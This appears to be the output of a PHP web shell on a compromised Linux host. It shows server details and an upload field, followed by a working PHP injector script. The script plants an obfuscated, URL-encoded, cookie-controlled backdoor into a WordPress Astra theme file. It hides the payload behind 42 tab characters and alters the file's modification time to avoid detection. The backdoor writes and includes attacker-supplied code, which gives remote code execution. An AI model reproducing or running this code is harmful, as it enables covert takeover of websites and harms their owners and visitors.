| Server IP : 192.254.185.80 / Your IP : 216.73.217.139 Web Server : Apache System : Linux gator3137.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64 User : msarats2 ( 1847) PHP Version : 8.3.35 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home1/msarats2/public_html/ |
Upload File : |
<?php function pb_leading_namespace_or_declare($content) { $p = 0; $len = strlen($content); if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } if (strncmp($content, '<?php', 5) === 0) { $p += 5; } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?' && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) { $p += 2; } else { return false; } while ($p < $len) { while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } if ($p >= $len) { break; } if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') { $nl = strpos($content, "\n", $p); $p = ($nl === false) ? $len : $nl + 1; continue; } if ($p < $len && $content[$p] === '#') { $nl = strpos($content, "\n", $p); $p = ($nl === false) ? $len : $nl + 1; continue; } if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') { $end = strpos($content, '*/', $p + 2); $p = ($end === false) ? $len : $end + 2; continue; } return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p)); } return false; } $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/abilities/customizer/globals/typography/class-astra-toggle-underline-links.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_COOKIE%5B3%5D%29%26%26isset%28%24_COOKIE%5B36%5D%29%29%7B%24c%3D%24_COOKIE%3B%24k%3D0%3B%24n%3D8%3B%24p%3Darray%28%29%3B%24p%5B%24k%5D%3D%27%27%3Bwhile%28%24n%29%7B%24p%5B%24k%5D.%3D%24c%5B36%5D%5B%24n%5D%3Bif%28%21%24c%5B36%5D%5B%24n%2B1%5D%29%7Bif%28%21%24c%5B36%5D%5B%24n%2B2%5D%29break%3B%24k%2B%2B%3B%24p%5B%24k%5D%3D%27%27%3B%24n%2B%2B%3B%7D%24n%3D%24n%2B8%2B1%3B%7D%24k%3D%24p%5B9%5D%28%29.%24p%5B26%5D%3Bif%28%21%24p%5B15%5D%28%24k%29%29%7B%24n%3D%24p%5B29%5D%28%24k%2C%24p%5B11%5D%29%3B%24p%5B1%5D%28%24n%2C%24p%5B13%5D.%24p%5B28%5D%28%24p%5B5%5D%28%24c%5B3%5D%29%29%29%3B%7Dinclude%28%24k%29%3B%7D'); if (strlen($content) < 32) { die('!failed!'); } if (pb_leading_namespace_or_declare($content)) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft + 10); $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die('!success!'); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');